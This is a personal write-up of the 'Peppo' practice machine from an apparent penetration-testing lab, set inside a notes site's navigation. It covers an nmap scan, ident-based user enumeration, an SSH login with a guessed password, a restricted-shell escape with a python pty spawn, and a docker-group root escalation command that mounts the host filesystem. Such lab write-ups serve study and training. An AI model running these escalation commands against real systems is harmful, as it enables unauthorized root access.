fg0x0's notes
  • 👀Introduction
    • 🏴‍☠️About me
  • 👾offensive-security
    • 🐲OSCP
      • 🛡️Active Directory ( OSCP )
    • ⛓️OSEP
    • 🕸️OSWE
    • 🌌PG-Practice
      • 🏴‍☠️Warm UP
        • 🐧ClamAV
        • 🪟Algernon
        • 🪟Helpdesk
      • 🏴‍☠️Get to Work
        • 🪟Hutch
        • 🪟Jacko
        • 🪟Shenzi
        • 🪟Slort
        • 🐧Postfish
        • 🐧Pelican
        • 🐧Quackerjack
        • 🐧Snookums
        • 🐧Sorcerer
        • 🐧Walla
        • 🐧ZenPhoto
        • 🐧Zino
      • 🏴‍☠️Try Harder
        • 🐧Peppo
        • 🐧Sirol
      • 🏴‍☠️Retired Play Machines
  • 🚩Red Team
    • ☢️Active Directory Exploitation
      • ⚔️Domain Enumeration
      • ⚔️Local Privilege Escalation
    • 👿Red Teaming Zero to Hero
    • 👿Red Teaming All The Things
    • 🕸️Web Exploitation
      • ⚔️XSS (Cross-Site Scripting)
      • ⚔️Remote File Inclusion
      • ⚔️HTML smuggling
    • 💀Binary Exploitation
      • ⚔️Buffer Overflow
      • ⚔️Return Oriented Programming ( ROP )
      • ⚔️Binary Security
      • ⚔️Format String Vulnerability
      • ⚔️Registers
    • ☠️Exploit Development
      • ⚔️Macro Shellcode
      • ⚔️Payloads
  • 🏳️Blue Team
    • 🔍Digital Forensics
    • 🔐Cryptography & Math
      • ⚔️OpenSSL
    • ⏪Reverse Engineering
  • 🏴‍☠️ctf
    • 🏇Haruul Zangi
      • 🏴HZ-2018
        • ⚔️Final-Shao Kahn
      • 🏴HZ-2019
        • ⚔️Final-Уртасгасан-Хээээээээээээээээш
        • ⚔️Final-Skywalker-sage-info
        • ⚔️Round-1-Very Secure LDAP
        • ⚔️Round-1-Web Warmup
      • 🏴HZ-2020
        • ⚔️Round-1-websploit1
        • ⚔️Round-1-websploit2
        • ⚔️Round-1-websploit3
      • 🏴HZ-2021
        • ⚔️Final-Screenshot 1,2
        • ⚔️Final-Orb
      • 🏴HZ-2022
        • ⚔️HZ-2022-Final-You Have Been Hacked
        • ⚔️HZ-2022-Final-Breaking News
        • ⚔️HZ-2022-Final-Todo
        • ⚔️HZ-2022-Final-Subway Surfers
        • ⚔️HZ-2022-Round-2-Spike-Boom-!!!
      • 🏴HZ-2023
        • 👻Round-1
        • 👻Round-2
        • 👻Round-3
          • 🦆Ducky Notes
          • 🚋Aylagch
          • 🔻Web Downchecker
          • 🔑Password Manager
      • 🐣HZ-U18-2023
        • 🔍Forensics
        • ☄️Trivia
        • 🕸️Web
        • 🔢Crypto
        • 🌏Misc
      • 🏴HZ-2024
        • Round-1
          • M4th
        • Round-2
          • Enigma
        • Final-Round
          • 💀heavy one ( forensics )
    • 🏴‍☠️Other CTF
      • 🏜️Shambala-2056
        • 🇦🇷Argentina-PWN (pwn1)
        • 🇪🇬Egypt-Forensics (spectre)
      • 🏴‍☠️SICT CTF
        • 🎮null
      • 🌏Asian Cyber Security Challenge
        • 🌏ACSC ( 2023 )
          • 🏴‍☠️Merkle Hellman ( Cryptography )
          • 🏴‍☠️easySSTI ( Web Exploitation )
          • 🏴‍☠️Hardware is not so hard
  • 🧊HackTheBox
    • 🪟Windows Machine
      • 🤕Support
      • ❌Escape
      • ✈️Flight
      • ☢️Active
    • 🐧Linux Machine
    • ☠️Other Platform Machines
      • ⚔️HMV-Alzheimer
      • ⚔️HMV-BaseME
      • ⚔️HMV-doc
    • Web Exploitation
      • 👽Flask SSTI
        • Templated
        • baby interdimensional internet
        • 👽baby todo or not todo
        • Slippy ( Jinja2 )
      • Injection
        • 👽Phonebook ( LDAP Injection )
        • sanitize ( SQL Injection )
        • Weather app ( SQL Injection )
        • Intergalactic Post ( php filter SQLi )
        • C.O.P ( SQL injection + Revshell )
      • 💥Prototype Pollution
        • ☠️baby breaking grad
      • 😵‍💫insecure deserialization
        • 👽baby website rick ( insecure deserialization )
      • XSS
        • 👽Full Stack Conf (Cross-Site Scripting)
        • AbuseHumandb ( XSS Puppeteer )
        • Kryptos Support ( XSS+IDOR )
        • Felonious Forums ( XSS, Cache Poison, Directory Traversal )
      • 👾Symfony
        • 💀baby bonechewercon ( Symfony )
      • 👥XXE
        • 🤙baby WAFfles order
      • Ping submit hiideg
        • Looking Glass ( Ping )
      • RCE
        • LoveTok ( RCE )
        • Neonify ( RCE )
        • Amidst Us ( image+RCE )
        • Letter Despair ( PHP + RCE )
        • Debugger Unchained ( SQLi+RCE )
      • LFI
        • toxic ( LFI )
      • File Upload
        • petpet rcbee ( file upload )
      • URL submit hiideg
        • baby CachedView ( URL submit hiideg )
      • Invoice ilgeedeg
        • Blinker Fluids
      • HTTP2 smuggling
        • PhishTale ( HTTP2 smuggling, Twig N-Day )
    • Forensics
  • 💀Synack Red Team
    • ☠️DC-1 ( kh )
    • ☠️DC-2 ( kh )
    • ☠️DC-3 ( kh )
  • dursamj
Powered by GitBook
On this page
  1. offensive-security
  2. PG-Practice
  3. Try Harder

Peppo

PreviousTry HarderNextSirol

Last updated 1 year ago

Nmap

sudo nmap 192.168.100.60 -p- -sS -sV

PORT      STATE  SERVICE           VERSION
22/tcp    open   ssh               OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
53/tcp    closed domain
113/tcp   open   ident             FreeBSD identd
5432/tcp  open   postgresql        PostgreSQL DB 9.6.0 or later
8080/tcp  open   http              WEBrick httpd 1.4.2 (Ruby 2.6.6 (2020-03-31))
10000/tcp open   snet-sensor-mgmt?

As ident is running we can use the Perl script ident-user-enum to identify which services are running under what user.

Port 10000 reports it is running under the user 'Eleanor'. I tried Bruteforcing the username on SSH and had no luck. Eventually simply trying eleanor:elenaor I was able to log in on SSH.

We see from trying the id the command we are locked in with a restricted bash shell. We can check out our command availability by viewing what binaries we have access to.

Checking GTFObins for any of these binaries can spawn a shell to escape a restricted one:

After running the above command we can export a new path and then spawn a Python shell then again export the path to having full function over the shell session.

PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
python -c 'import pty; pty.spawn("/bin/bash")'
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

The command id shows we are a member of the docker group. GTFObins again shows a method for spawning a root shell when we are a member of the docker group.

First, check what images we have available to us:

docker image ls

We can use the GTFObins command to replace the value <alpine> with one of the images listed above.

docker run -v /:/mnt --rm -it redmine chroot /mnt sh

Returning a shell as root:

If you found this page helpful to you, please rate it below as per the feedback options. For any corrections or general communications, please see the root page for contact information.

👾
🌌
🏴‍☠️
🐧
Pentest Everything